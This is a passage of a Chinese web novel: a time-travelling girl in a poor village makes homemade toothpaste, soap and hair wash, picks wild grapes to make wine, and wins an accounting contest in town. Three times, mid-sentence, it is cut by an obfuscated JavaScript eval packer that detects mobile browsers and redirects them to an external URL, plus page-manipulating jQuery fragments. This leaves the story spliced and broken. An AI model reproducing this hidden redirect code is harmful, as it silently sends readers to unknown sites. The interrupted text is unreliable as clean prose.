“真棒。”霍婉摸了摸他的头,道:“往后每日都学着姑姑刷牙,对牙齿好。” “嗯!”霍修远脆脆的应了声。 作为一个穿越而来的异界凡女,现代的衣食住行以及日常习惯早就深入骨髓,更别说这些简单的洗漱用品了。虽然她经历了末世那残酷的一月,但她的生活方式基本没有什么变化。 算了,多想无益,往后的日子还长着,总要向前看。 柳枝牙刷做好之后,总要有牙膏搭配着才能用。《闲杂要方》中记载的牙膏子制作办法非常精细,但所需要的东西她基本不认识,比如什么黄熟香、苏合香、甲香、零陵香等等。 越往后翻,牙膏的制作方法就越难。这个家已经如此贫困了,哪里会有余钱让她买这些有钱老爷们家中的“稀罕物”。 所幸牙膏子制作第一页有个极为简单的方法,就是用柳枝、槐枝、桑枝加水熬制成膏,膏成之后再放入姜汁、华细辛、细盐等物混合,就能制成牙膏。除了华细辛有些难以搞定之外,别的东西在家里都有,这些树枝更是随便采,都是新鲜的。 霍婉精神一振,不由分说的拉着霍修远去折柳枝、槐枝和桑枝。 姑侄二人抱着一堆树枝子回到家,此时霍荀正坐在院子里修补竹篓,见他们俩一前一后的跑进来,眼底掠过一抹欣慰之色,笑着问道:“二姐儿,你这是带远哥儿玩什么呢?” “哥哥,昨日爹的那本书里,我看到一些好玩的东西,左右家中无事,我就想着带远哥儿一道探究一番。”霍婉不好意思的笑道。 “行,你们二人小心些,当心被树枝划着了。”霍荀也乐得他们二人亲近,说完这话就继续干手里的活计了。 “嫂嫂!”霍婉冲着赵玉秋挥了挥手:“家中可有闲置的陶罐之类的?我想煮些膏子。” 赵玉秋放下手里的活计,“我记得家中有个缺了口的汤罐子,中间还裂了道缝,就是这个!”说着就把厨房角落里积了灰的汤罐拿了出来。 “我瞧着能用。”霍婉接过汤罐,舀出清水把汤罐里里外外洗了一遍,把折好的柳枝、槐枝和桑枝一起放进汤罐里,然后在里面加上了适量的水。 霍荀一向宠爱自己的妹妹,给她们二人在院子角落用石头搭了一个简易炉灶用来烧火,赵玉秋见状也没说什么,还帮着拿来些烧火的干柴。 霍婉生起火,汤罐里的东西随着温度的上升逐渐凝结出水汽,等她熬出了膏状物已经是下午了。 这时赵玉秋挎着一篮绿色的植物走了过来,笑着问道:“二姐儿,还没做好吗?” “嫂嫂,还没……”没字刚说出口,霍婉无意间往篮子里看了一眼,只一眼就顿住了。 “薄荷?” 赵玉秋有些惊讶的拿出几支薄荷叶,“二姐儿是说这个?这叫银丹草,放在家里能驱蚊避虫。” “好嫂嫂,家中可有晒干的?能给我一些吗?”霍婉道。 “自然可以。”赵玉秋快步进屋拿了一把干薄荷出来,问道:“够了吗?二姐儿。” “够了够了!”霍婉喜滋滋的接过薄荷,让霍修远帮她看着汤罐,自己则把薄荷细细的研磨成粉。 虽然没有华细辛,但能加些薄荷也是极好的。 霍婉把准备好的姜汁、细盐和薄荷粉末一道放进去,用上午消过毒的柳枝搅拌均匀,等汤罐中的牙膏变成黑乎乎的一坨后,就把火熄灭了。 嗯……怎么说呢?自己忙活了一天的牙膏看起来卖相的确不怎么样,把这坨牙膏放进带盖的竹筒内,又央霍荀做了两个竹筒牙杯,她和霍修远一人一个。 霍婉本来想着让霍荀和赵玉秋也刷牙的,但兄嫂二人认定这是她和霍修远两人一时兴起弄出来的小孩子玩意,摆摆手表示不感兴趣,霍婉无法,只好带着霍修远一起刷。 做出来的这一竹筒牙膏完全比不上前世的洁白清新,但味道算不上难闻,薄荷和树木混合在一起后,也产生了一种天然植物的清香之气。 解决了刷牙问题,接下来就是洗脸和洗发了。 这两日家中没什么活计,霍婉除了帮嫂嫂做饭就是研究《闲杂要方》里稀奇古怪的方子了。 家中有赵玉秋采回家的野生皂角和无患子,霍婉取用了一些,按照《闲杂要方》里的方法先把无患子的果皮取出来,皂角则掰成手指指节大小,准备好后把无患子和皂角放进木盆里搓洗,搓洗好后就放进汤罐中加水熬煮,煮了差不多半个时辰霍婉又放入了些昨日赵玉秋带回家中的新鲜薄荷叶。 等汤罐中的汁水越发黏稠后,取出熬好的浓缩皂角和无患子液用一块干净的细布过滤,将早早准备在一旁的草木灰水与之融合,又偷偷从厨房取了些油和研磨好的细盐一起放进去搅拌,搅拌黏稠后把这些浓缩液倒进竹筒中,在地上震了几下让其中的气泡排出,剩下的则往里放了几朵路边不知名的白色小花,味道清雅淡然,非常好闻。霍婉折腾了大半天,总共做出来两个竹筒大小的香皂。 在家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893698|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中找了个阴凉的地方把两个竹筒放好,安心的等待两天后的结果。 现在基本的洗漱用品都解决了,只剩下洗发膏了。 其实霍婉做的那些香皂也可以当做洗发膏,但总归有些浪费。她翻看了一下《闲杂要方》,里面有提到一种“煮汤洗发”的洗发方式。 其实方法十分简单,就是用无患子取皮后与侧柏叶放入锅中煮水,煮好后水放温或者直接加入冷水兑一下,兑好水后在盆中搓搓捏捏,泡沫很快就能出来,这种煮汤洗发的方式不禁能去除头发上的油垢还能顺滑发丝,既不像皂角洗发后有烧涩之感,又不需要用发油擦拭发尾,能够很好的保养头发。 此时赵玉秋刚好从东屋走出来,霍婉挥了挥手笑道:“平日里嫂嫂如何保养头发?我发现近些日子我的头发有些枯黄,所以想着问问嫂嫂。” 赵玉秋闻言倒是笑了笑:“山里人家,说什么保养?咱们又不是县城里的贵妇人和千金小姐,平日里咱们用皂荚子加些热水就能大致洗干净了,正好这几日二姐儿和远哥儿都没洗头发,不如咱们今天清洗清洗?” “好啊!今日我从爹的书上学了个洗发的方子,不如嫂嫂也一道试一试?”霍婉笑着说。 赵玉秋一听这话倒是有些心动,毕竟女人都是爱美的,可如果这方子上需要的东西家中没有,到时候二姐儿心中会不会不太高兴?毕竟这段日子二姐待她和远哥儿实在和气,她不想再回到之前的那种日子。 霍婉像是看出了赵玉秋心中所想,继续道:“嫂嫂,试试也没什么的,左右都是家中常见的东西,好嫂嫂便陪我折腾一次吧!” 见小姑子都这么说了,赵玉秋也不是那等扭捏之人,当即痛快的应了下来。 霍婉跑出院子,不远处就有几棵侧柏树,她摘了小半盆回来,又拿了些处理好的无患子备好,用剪刀把测柏叶剪碎,放进锅里后烧了一大锅水,水烧开后倒进准备好的木盆里,兑入凉水后把无患果扔进去开始搓泡沫。 等洗发水搓的差不多后,霍婉就招呼赵玉秋和霍修远过来坐好,然后解开霍修远的头发,在侧柏洗发汤里开始揉搓头发,边揉搓泡沫边跟赵玉秋说道:“嫂嫂和远哥儿千万要闭好眼睛,万一眼睛里进了沫子就不好了!” 霍修远听了霍婉的话乖巧的闭起了眼睛,赵玉秋也学着霍婉的动作揉搓。约莫一刻钟的功夫,霍婉让赵玉秋和霍修远坐着别动,自己把这两盆水倒了,然后端了兑好的清水,让二人又清洗一遍,直到头发上的泡沫子洗干净为止。 现在温度适宜,天晴无风,赵玉秋和霍修远把水珠擦好后便在院子里披散着晒干,霍婉重新兑好水把自己的头发也洗了一遍,用毛巾子把头发包好后走到了院子里。 赵玉秋摸了摸已经晒得半干的秀发,十分顺滑清爽,不像皂角子洗完后干拉拉的。凑上去还能闻到一股淡淡的草木香气。 “姑姑!你这个洗头的法子真好用!以后远儿还要这么洗!”霍修远开心的说。 “是啊!二姐儿,这法子洗了之后头发果真顺溜多了!多亏了你识字,爹的书里有这么好的方子才能看着!”赵玉秋也笑道。 一时间,霍婉与嫂嫂和侄儿的关系倒是亲近了许多。 5. 上山 今日霍婉起了个大早,想着昨日霍荀说要去村长家里修缮屋顶,赵玉秋也不是能闲得住的,说吃过早饭要去山下采点猪草。 村里的富户秦老爷家里正收猪草呢,一背篓能得五文钱!除此之外,还能在山里采些野菜野果之类的拿回家吃。 霍婉想着自己年岁小,帮不上什么忙,更别说如今才五岁的霍修远了。她简单收拾好自己后来到厨房,看着冷锅冷灶,心里想着自己何不给试着他们做顿饭吃?自己的厨艺本身就不差,前几天又跟赵玉秋简单学了些,兄嫂对自己这般好,为他们做饭吃也是应当的。 霍婉挽起袖子说做就做,先来到院子里把家里那两只下蛋的老母鸡喂了,然后淘麦仁小米下锅开始煮粥,盖上锅盖后,在蒸屉上放了几个野菜窝头,蒸了约莫半刻钟,把从菜园子摘的黄瓜洗好做成拍黄瓜,剥了几瓣大蒜拍碎加少许的盐,又从咸菜缸里挑了块咸菜切好,一顿简单的早饭就做得了。 在霍婉摆放碗筷的时候,赵玉秋从东屋里出来,看到桌子上摆好的吃食和正在搬木凳子的霍婉,快步走过来,有些欣慰又有些诧异地看着她:“二姐儿,你怎么这么早就起来了?也不叫嫂嫂起来跟你一道做。” 霍婉闻言腼腆的笑了笑:“前几日跟着嫂嫂学了做饭,正好今日起得早,就想着自己试做一下,现在哥哥嫂嫂每日早出晚归已经很累了,我就想着为家里做些什么。嫂嫂尝尝看,若是我做的还合口,那往后我就给常给哥哥嫂嫂还有远哥儿做饭吃!” 听着二姐儿这么窝心的话,赵玉秋心中倍感熨帖。以前这二姐儿话都不愿意跟她多说两句,从自己嫁过来直到有了远哥儿以后,都不曾跟自己这么亲近过,更别说像今天这般主动给自己做饭吃了。好似自从二姐儿病好以后这性格也讨喜了许多,现在这样子多招人喜欢! 思及此处,赵玉秋有些感动的握了握霍婉的手:“那二姐儿先歇会儿,我去叫你哥哥跟远哥儿起来,咱们一家趁着热赶快吃饭了。” 等一家人洗漱完毕之后,坐在饭桌前看着这一桌子早饭,霍婉先是给家人盛了一碗清粥,然后笑道:“这道拍黄瓜是我自己研究着做的,快来尝尝看好不好吃。” 霍荀端起碗喝了一口粥又放下,摸了摸霍婉的发顶,叹道:“二姐儿懂事了,只是你如今还没好利索,等养好了身子再做也不迟,以后莫要乱来了。” 霍婉眉眼弯弯:“哥哥这是把我当弱不禁风的纸片儿人呢!这些日子我早就好全乎了,哪有哥哥想的那么弱。哥哥快些吃饭吧!今日不是还有正事么?” 霍荀点了点头:“今日去村长家里修缮屋顶,村长是个厚道人,中午会管饭的,我就带着远哥儿一道过去,村长家的献哥儿不是跟咱们远哥儿玩的挺好的吗?秋娘,你在家里顾着二姐儿就行了。” 赵玉秋咬了一口窝头,犹豫道:“秦老爷家里正收猪草呢,我想着去采两筐猪草送去,家里也能多个进项不是。” 霍荀皱了皱眉,开口道:“秋娘,我……” 不等霍荀说完话,霍婉趁机开了口:“嫂嫂,今天你去山里割猪草,干脆带着我一起去吧,可好?” “这怎么行?你如今还病着,怎么还想着往山里跑?上次因为什么病了几日你忘了?”霍荀不赞同的说道。 “哥哥,你晓得我身子弱,若是能跟嫂嫂去山里多走走,对身体也有好处呀!难道我跟着嫂嫂一道哥哥也不放心吗?好哥哥,好嫂嫂,我定会紧紧跟着嫂嫂的,一定注意安全。” 听着霍婉半是撒娇半是请求的话,赵玉秋想到这些日子霍婉的改变,也开了口:“夫君,二姐儿身子是有些弱,我多看着她些,左右又不去深山里头,就在外围,应当也没什么事。” 霍荀放下碗筷,叹了口气妥协道:“既然秋娘都这么说了,那二姐儿可要听话,紧跟着你嫂嫂,切莫要乱跑,若是你不听你嫂嫂的话,下次就别想着再进山了!” “没问题哥哥!我一定乖乖听话!”听霍荀松了口,霍婉高兴道:“谢谢哥哥!谢谢嫂嫂!” 霍婉和赵玉秋把霍荀和霍修远送出门后,赵玉秋去厨房里洗碗了,霍婉帮着把碗筷从堂屋里拿到厨房,道:“嫂嫂,咱们什么时候去割猪草啊?” 看着她兴奋又期待的样子,赵玉秋忍不住笑了笑,道:“收拾好咱们就去,二姐儿且去外面玩会儿。” “那嫂嫂,我也背个背篓去!” 距离霍家不远处就有座山,如今正是盛夏,山上有各种各样的植物,花草,赵玉秋把霍婉身后的背篓接过来背在身上,给她找了个小篮子让她挎住,连篮子里的小镰刀都是迷你版的。 霍婉一脸新奇的跟在赵玉秋身后,她从小是在城市里长大的孩子,很少有机会能见到如此原始的大山,未曾踏足过的地方总是格外地吸引人。 因清河村中家家户户都养些家禽家畜,村里几个大户人几乎都养了一围栏的猪,故而周围山上的猪草基本是长一茬就被割一茬,离着村子近的好割的猪草早就被采光了,若想再割到新鲜的猪草,就得再往山上爬一些。 赵玉秋的手紧紧攥着霍婉的小手,姑嫂二人走了约莫小半个时辰,终于在一处有些偏僻的山坡后找到了大片的猪草。赵玉秋放下背篓,对着霍婉道:“二姐儿就在这里玩,莫要往别处去,一定要让嫂嫂看得到你,可好?” 霍婉脆脆的应了声好。 赵玉秋手抓起一把猪草,小镰刀向上倾斜好一定的角度,很快一把猪草就割下来了。割下的猪草堆在一旁,等割的多了再一起放进背篓里。 霍婉看着赵玉秋割猪草的同时,时常抬头关注她,心中升起一股暖意。她嘴里哼着前世听来的流行乐曲调,按照赵玉秋的指示摘了些能吃的野菜。她往前走了几步,忽然看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893699|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边悬挂着几成熟的山葡萄,霍婉小心的捏了一颗葡萄下来放进嘴里,一种丰富的果香和自然的酸甜让霍婉忍不住微微睁大了眼睛。 霍婉兴奋的跑回赵玉秋身边,指着不远处的山葡萄笑道:“嫂嫂,我在那边看到一些小葡萄,咱们把它们采回家吧!” 赵玉秋顺着霍婉指着的方向看去,这一看就笑了:“二姐儿,那是黑酸果,没什么可吃的,又酸得很,你若是喜欢就采一些回去,只是别累着自己了。” “好的,嫂嫂,那我少采一些。” 霍婉应了声,然后拿起篮子里的小镰刀开始摘山葡萄。就算这果子吃不得,可她原先学的是酿酒专业,虽然只学了不到两年,但酿个果酒也绰绰有余了!只是不知道这山葡萄酿成葡萄酒后能不能给家里赚些银子呢?这么想着,霍婉摘的越发卖力了,把附近几棵藤上的山葡萄都摘了个干净,在篮子底部铺上葡萄叶子,把摘好的葡萄小心翼翼的放进篮子里一一摆好。 等霍婉提着山葡萄回到赵玉秋身边的时候,赵玉秋的背篓已经装满了猪草。 看着自家小姑子跟抱着宝贝一样抱回来满满一篮子山葡萄,奇道:“原先二姐儿上山来的时候也没这么喜欢这黑酸果啊?难不成今年的果子不酸了?” 霍婉有些神秘的笑了笑,道:“过些日子嫂嫂就知道了。嫂嫂可割完猪草了?” 赵玉秋点了点头,把手里不知名的野菜放进霍婉的篮子里,笑着说:“走吧,咱们下山去。” 等姑嫂二人下山到了家,正午太阳有些大,霍婉便跟着赵玉秋把自家菜园子浇了遍水,忙完后又拿了木桶,跟着李玉娘去山后的山泉里挑了几桶水回来。 忙完家里的杂事,赵玉秋便带着霍婉一道去把从山上割的猪草送到富户秦老爷的家里,得了三文钱。 这时候的三文钱虽然算不得什么,但好歹也算家里的一个进项。在二姐儿的记忆中,三文钱能买到半斤糙米,但是要割到一背篓猪草可能要耗费一个多时辰。 之前霍秀才在世时,家里的日子比现在松快多了。至少每隔一两月也能吃到一回白米饭,要知道白米在这个时代可是精细物,有的人家只有到了过年才能吃上一回呢! 后来霍秀才走了,家里日子一天难过一天。赵玉秋嫁过来以后,兄妹二人总算过的稍微好了些。 若是农闲时节,地里没有活计,霍荀就到村里过得好的大户人家里帮工。在二姐儿记忆里所谓的大户人家,就是住着青砖瓦房的普通农家罢了。 若是大户人家里不缺人手,霍荀就会去山里砍些柴或者打打猎给家里添些进项。赵玉秋平日里也不闲着,不是上山采猪草就是在家里绣些手帕子和香囊,然后等霍荀进镇子里卖东西时一并把这些物件拿去卖了。 霍婉看着摘回来满满的一篮山葡萄,想着往后自己能为这个贫困的家做些什么…… 6. 进县城 姑嫂二人回到家中后,霍婉看着这篮子山葡萄,便动了酿酒的心思。她前世所学的酿酒工程专业虽然只学了不到两年,但自己酿些果酒还是不成问题的。 “嫂嫂,家中可有糖?”霍婉问道。 赵玉秋闻言笑了:“二姐儿,咱们山里人家,哪里能有糖那种金贵物。若你想吃,下次让你哥哥去县城给你捎带两块甜甜嘴儿。” 霍婉摇摇头,这个家已经够贫困的了,哪里还能提出这些不懂事的要求,况且酿酒可不是一块两块糖能够解决的。 赵玉秋看着霍婉思考的样子,想了想哄道:“若二姐儿想吃甜的,明日嫂嫂再带你上次山,山里会有野生的甜杆子,多摘几根回来,让你吃个够。” 霍婉闻言笑着点了点头。 天色渐暗的时候,霍荀赤着上身,左手提着的衣服里像是包着什么活物,右手牵着一脸兴奋的霍修远进了院子。 霍荀一进院子后就示意赵玉秋把院门关紧,然后走到堂屋坐下。赵玉秋关好门后连忙从厨房里舀了一碗温水递给他,好奇问道:“怎么了?” 霍修远拱到赵玉秋和霍婉之间,开心的说道:“今日爹抓到了一只山鸡呢!” 霍荀把碗里的水一口气喝光,把瓷碗递给赵玉秋,笑道:“今日也是运气好,从村长家出来的时候我和远哥儿抄了小路过来,正好看到一只被藤蔓缠住脚的山鸡,瞧着挺肥,估摸着能卖个好价钱。” “那敢情好,明儿你就去趟县里,正好我前些日子也绣得了几张帕子,一并卖了去。”赵玉秋也露出个笑模样来,低声道。 一旁的霍修远一听霍荀要去县里,立刻就活分了。他窝进霍荀的怀里摇着他的大手,脆生生的道:“爹,远儿也要去县里。” 赵玉秋一听这话顿时闭了嘴,她有点后悔刚才为什么不背着远儿说去县里的话。远儿还小,若是霍荀带了他去,还要分神照顾他。不过今日二姐儿倒是老实,也没提要跟着去县里的事。 赵玉秋不知道的是,一旁的霍婉已经陷入沉思中了。 去县里?霍婉觉得这倒是个机会!她虽然只是个普通的大学生,几乎无一技之长,但是能见识见识这个时代的县城也是好的!没准就能被她发现什么生财机会呢! 无怪乎她能这么想,只因为这个家实在是太穷了。想酿些葡萄酒卖,也苦于没有糖而被迫中止。而且二姐儿都已经十三岁了,瞧着身板子跟十来岁的小姑娘差不多,一看就知道是营养不良造成的,她总得想办法做点什么。 霍婉抬起头,有些期待的看了一眼霍荀,道:“哥哥,我也想去县里。” 一旁的霍修远见今日对他十分温柔的姑姑都跟自己站在同一战线上,嗓音越发大了:“爹,远儿和姑姑都想去。” 赵玉秋抿了抿唇,她其实不想让霍婉一道跟着霍荀去县里的,每次去县里,霍荀一向抵不住二姐儿的撒娇,总会给她买点什么回来。虽然都是一些小玩意儿,但也是要花上好几个铜板的。可这几日二姐儿实在贴心,若她想去……自己这次便不阻了。这么想着,赵玉秋便没有像往常一样开口阻止。 霍荀哈哈一笑,对着赵玉秋道:“秋娘,这次也算是意外之喜,干脆明日我带着二姐儿和远哥儿一道去县城里吧!便是买些零嘴儿也花不了几文钱。为夫保证,五文……不,三文以内!” 赵玉秋闻言被逗笑了:“罢了,去吧!都去吧!” 霍婉和霍修远闻言欢呼一声,姑侄二人牵着手一道跑出去刷牙去了。 …… 第二日天还没亮,霍婉就起身来到堂屋等着霍荀起床,而赵玉秋早就起身了。 霍婉见状帮着赵玉秋把做得的早饭摆好,见霍婉脸色带着淡淡的兴奋之色,赵玉秋点了点她的额头,笑道:“二姐儿,昨日不还念叨着想吃糖吗?今日卖完帕子后,就让你哥哥买一包回来吃。不过远哥儿从没去过县里,你可要帮嫂嫂看好他。” 待赵玉秋说完,霍婉拉起赵玉秋的手,眉眼弯弯:“嫂嫂且安心,我知道的,今天定然紧紧牵着远哥儿,不让他离开我三步远。” 赵玉秋听完这番话笑了笑,抬手抚了抚霍婉的发尾。 一家人简单的用了早饭,霍荀叮嘱霍修远道:“远哥儿记得一定要乖乖跟着爹和姑姑,莫要四处乱跑,晓得了没?” 霍修远点头,大声应了声。 霍荀点点头,把山鸡放到竹篓里,然后上面放了个小包袱,包袱里放着赵玉秋做的手帕子和荷包。 霍家兄妹牵着霍修远这个小豆丁出了门,走了约莫一刻钟才到了地方。 霍荀先把竹篓子放到牛车上,然后一把抱起霍婉和霍修远上了牛车。 赶车的是个上了年岁的老者,霍荀对着他道:“孙叔,今天我带二姐儿和远哥儿去趟县里。”说着从怀里掏出六文钱递给孙老头儿。 孙老头儿见状忙摆摆手道:“荀哥儿,二姐儿和远哥儿现在还是个孩子,我哪能收她的钱?再说了今日也没人去县里,你就别跟我客套了!”说着只拿了三文钱揣进怀里。 孙老头儿笑着嘱咐道:“二姐儿,远哥儿,坐好了!”说着驱赶着牛车晃晃悠悠的朝着县里走去。 牛车走了约莫一个半时辰,才到了平江县城。 霍荀先到领着二人县里的市场里吆喝了一圈,很快就有守在此处的厨子走了过来把山鸡都买走了。 如今那只山鸡正肥,倒是卖了个好价钱,得了八十文。 卖完山鸡后,霍荀又到了那家固定收帕子和香囊的布庄,这帕子和香囊上的样式都是按照布庄的要求来的。一张帕子是三文钱,一个荷包是五文钱,赵玉秋一共绣了十张帕子和五个荷包,共得了五十五文。 一趟下来共得了一百三十五文钱,对于农家来说算是很大的一笔进项了。 霍荀脸上挂着抑制不住的笑容,毕竟这只山鸡是靠运气得来的,一下子就卖了八十文,能买上十五六斤的糙米了! 见霍荀心情好,霍婉也笑道:“哥哥,咱们东西卖完了,干脆四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893700|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处逛逛吧。” 霍修远也跟着说道:“逛逛!逛逛!” 霍荀这次赚得了这么多钱,见妹妹和儿子都一脸期待的瞧着自己,笑着点头表示同意了。 三人先是围着县里转了一圈,县里果然比村子里齐整多了。街道上不像是以前电视剧中那般铺着青石板路,而像是泥土和沙子相混夯实的土路,只是整平了些。 道路两旁多为青砖瓦房,一些高档的酒楼饭庄更是建造的小二层房屋。 逛完县城,三人又来到平江镇的商业街逛了一圈,只见街道两边摆满了各式各样的小摊,种类多种多样,左手边多为卖鸡蛋的、卖农具的、卖竹篮,竹筐的、还有卖当季的水果蔬菜的。 而右手边卖的大多都是吃食,自制的点心、糖葫芦、胡饼、馄饨,汤面等等等等。 霍婉知道霍家的情况,她虽然很想尝尝街边的那些点心,但还是忍住了,强迫着自己不往吃食街那边看,但霍修远如今还小,闹着说想吃甜糕饼,被霍荀一把抱走了。 前头不远处有家二层酒楼,酒楼门口围了不少人,霍婉拉着霍荀走近一看,原来是这家名为福客来的酒楼在大门口处贴了一张红纸。 纸上写的多为繁体字,但霍婉也能大致猜个明白,原来这是一则由福客来酒楼主持举办的平江镇账房赛事,不拘年龄大小,身价几何,就算是个乞丐也可上前一试。比赛内容主要由三个部分组成:酒楼的进帐、出帐和统计。 而参加比赛者若能进入前五名,便能得到一钱银子的奖励,除此之外,前三名还有额外的奖励。 第一名奖励二两银子,可提供一个在福客来酒楼做试职账房的名额,并且还有三张雅间无期限无消费限制的酒楼餐券。 第二名奖励一两银子,包含一张雅间无期限无消费限制的酒楼餐券。 第三名奖励五钱银子,包含一桌福客来酒楼的招牌菜式的前六道菜。 霍婉一瞧是古代的会计比赛,便起了几分兴致,想着进酒楼去瞧瞧。霍荀见二姐儿和霍修远都是一脸期盼又好奇的样子,无奈的笑着摇了摇头,到底还是没长大的孩子,自然喜欢凑热闹。这么想着,霍荀一手抱着霍修远,一手拉着霍婉就进了酒楼大厅。 只见此时大厅里已经围了不少人。入门处摆了个覆盖红纸的木牌,上面写着详细的赛事规则。最下面的一条引起了霍婉的注意:“店内所出题目需在半个时辰内完成,须自带算盘。” 平日里食客用来吃饭的桌子像书院那般摆放整齐,每张桌子间隔约莫一米的距离,一共摆了八张桌子。每张桌子前头放着的题目都用红布盖住,而在红布右侧则摆放了几张宣纸和一根毛笔。 这个地方,或者是这个时代的数学好像不是很发达,毕竟上前入座的人只有寥寥几位,且都是在三十岁以上的中年男子。 霍婉拉着霍荀走到前面,刚好有一家离开,他们得了个不错的位置,霍荀就把霍修远抱在怀里,霍婉也乖巧的坐在旁边,三人一齐朝着前方看去。 7. 账房赛事 第一位入座的青衣账房时间到了,福客来酒楼坐在一旁的的掌柜和账房站起身,一左一右站在那考试完成的青衣账房身侧。 福客来酒楼的掌柜和账房像是亲戚,二人生的有点相似,且姓氏一样,都姓许。 那青衣账房拱了拱手,“许掌柜,小许账房。” 许掌柜和气的点了点头,而那小许账房的脸色一直板着,回了一个拱手的动作。 三月十六:购猪肉四十斤、三十文每斤,共出一两二钱。 三月十六:购精米五十斤、八文每斤,共出四百文。 三月十八:卖吉祥团圆饭五十三份,二十文每份,共进一两一钱并六十文。 三月十七:购黄瓜三十斤,四文每斤,共出一百二十文。 三月十六:购整鸡三十五只,二十文每只,共出七百文……” 那小许账房边念着边用手快速的拨拉算盘,霍婉有些无语的听着这些账目,真是东一榔头西一棒槌的记,出账和入账都记在一起,连相同日期的账目都没统计到一块儿,而且这份账目似乎出了点儿错漏,那被称为小许账房的并未发现。 见没人发现那笔错误的账目,霍婉握了握手,上前一步,轻声道:“三月十八:卖吉祥团圆饭五十三份,二十文每份,理应进一两并六十文。” 众人闻言齐齐看了过来,那小许账房一瞧桌前站着一个约莫十来岁的姑娘,眼中闪过一丝意外,然后他往前翻了一页,重新拨了一遍算盘,道:“小姑娘说的不错。” 那站在一旁的青衣账房脸色微微发红,但还是自己拨了一遍算盘,果然,这笔账是算错了。 而那小许账房放下手里的算盘,看着霍婉道:“小姑娘,你是如何算出来的?” 霍婉有些不好意思的微垂下头,道:“我是在心里算出来的。” 霍荀和霍修远有些惊奇的看着自家妹妹和姑姑,而周围的人也惊叹于这个小姑娘的能力,但还是有一道不太和谐的声音响起来,霍婉抬头一看,原来是另一个做完题目的人,他穿着一身灰色长衫,手中拿着纸,开口说道。 “一个黄毛丫头而已,还敢大言不惭在此吹嘘自己会珠心算!” 那第一个做完题目的青衣账房接话道:“这笔账确实是我算错了,这小姑娘瞧了一眼就瞧出了端倪,想必真的珠心算。” “若是她真的会珠心算,何不上前把考题做完,反而在此大放厥词?到底是个女子,能聪慧到哪儿去?” 而周围的人也嘀嘀咕咕,有的人还跟着应和了几句。 霍荀脸色一沉,走到霍婉身前,道:“我妹妹自幼聪慧,便是会珠心算也没什么大不了的,仔细说来,令慈、令正、令妹都是女子,阁下又凭何瞧不起女子?” “就是!我姑姑厉害得很!”霍修远也说道。 霍婉一听父子二人都为她说话,本来气红的脸色也渐渐和缓下来。这人没救了,眼神里带着一股对她的轻视和对女子的不屑,她深吸了一口气,从霍荀身后走出来,到距离她最近的一张桌子坐定。 香燃起来了。 幸亏霍婉在上大学的时候学过一段时间的毛笔字,虽然写的不太好看,但好歹也能看个清楚明了。 才过了半柱香的功夫,霍婉就站起身来,把自己做好的账目往小许账房的面前放好,道:“请指正。” 众人见状忙走上前,要知道霍婉方才并未拿着算盘,若是做对了题目,那她的确就有珠心算的本事! 小许账房只见眼前的这些账目把相同日期的账目都放到一处,且出账和入账都分开记录,做成了一种他从未见过的分格样式。虽然这姑娘字写的一般,但这账目一看下来十分有条理,一目了然,比他以往的记账方式还要方便,直观,且很容易就能找到当日与往期的账目。 在霍婉的眼中,这些加减乘除都是上小学就学过的,对她来说简单的很。而按照日期排列账目做成表格,基本上也是从小就接触的东西,实在不值一提。 但在其他人眼中,这件事可就不是那么简单了。 小许账房快速把霍婉这份答卷检查好,尤不放心,又重新检查了一遍,果然一处错漏也无。 而那灰色长衫的账房脸色通红,一把夺过小许账房手里的纸张,看着上面的答案,快速拨弄起算盘开始从头算了起来。 等他算完,手微微发着抖把这几张纸放到桌子上,张张嘴,看了看周围或好奇或戏谑或惊讶或嘲笑的目光,使劲攥了攥拳头。 而那小许账房有些不屑的看了那穿着灰色长衫的账房一眼,然后又冲着旁边的许掌柜微微点了点头,这才继续跟霍婉道:“小姑娘,你全做对了,能不能告诉我,你这算账方法是跟谁学的?” 霍荀把霍婉拉到身后,帮她挡住一部分探究的目光,替她开口道:“家父是读书人,这些都是家父教给妹妹的。” 小许掌柜脸上露出一个温和的笑容,冲着霍荀道:“这位大哥,你带着这位姑娘在此稍坐。”说着又冲着另一边的那几位账房道:“几位也入座,等时间结束后才能出具体名次。” 说着示意跑堂的为他们分别上了一壶热茶和两盘点心。 霍荀抱着霍修远带着霍婉入了座,这位置在大堂靠后面,还算清净。 折腾这一路一家人都饿了,霍荀先给霍婉和霍修远分别递了一块糕点后自己才开始吃。霍荀看着霍婉秀气吃东西的样子,小心的压低声音道:“二姐儿,你什么时候会算账了?” 霍修远一边吃着糕点,一边好奇的看着自家姑姑。 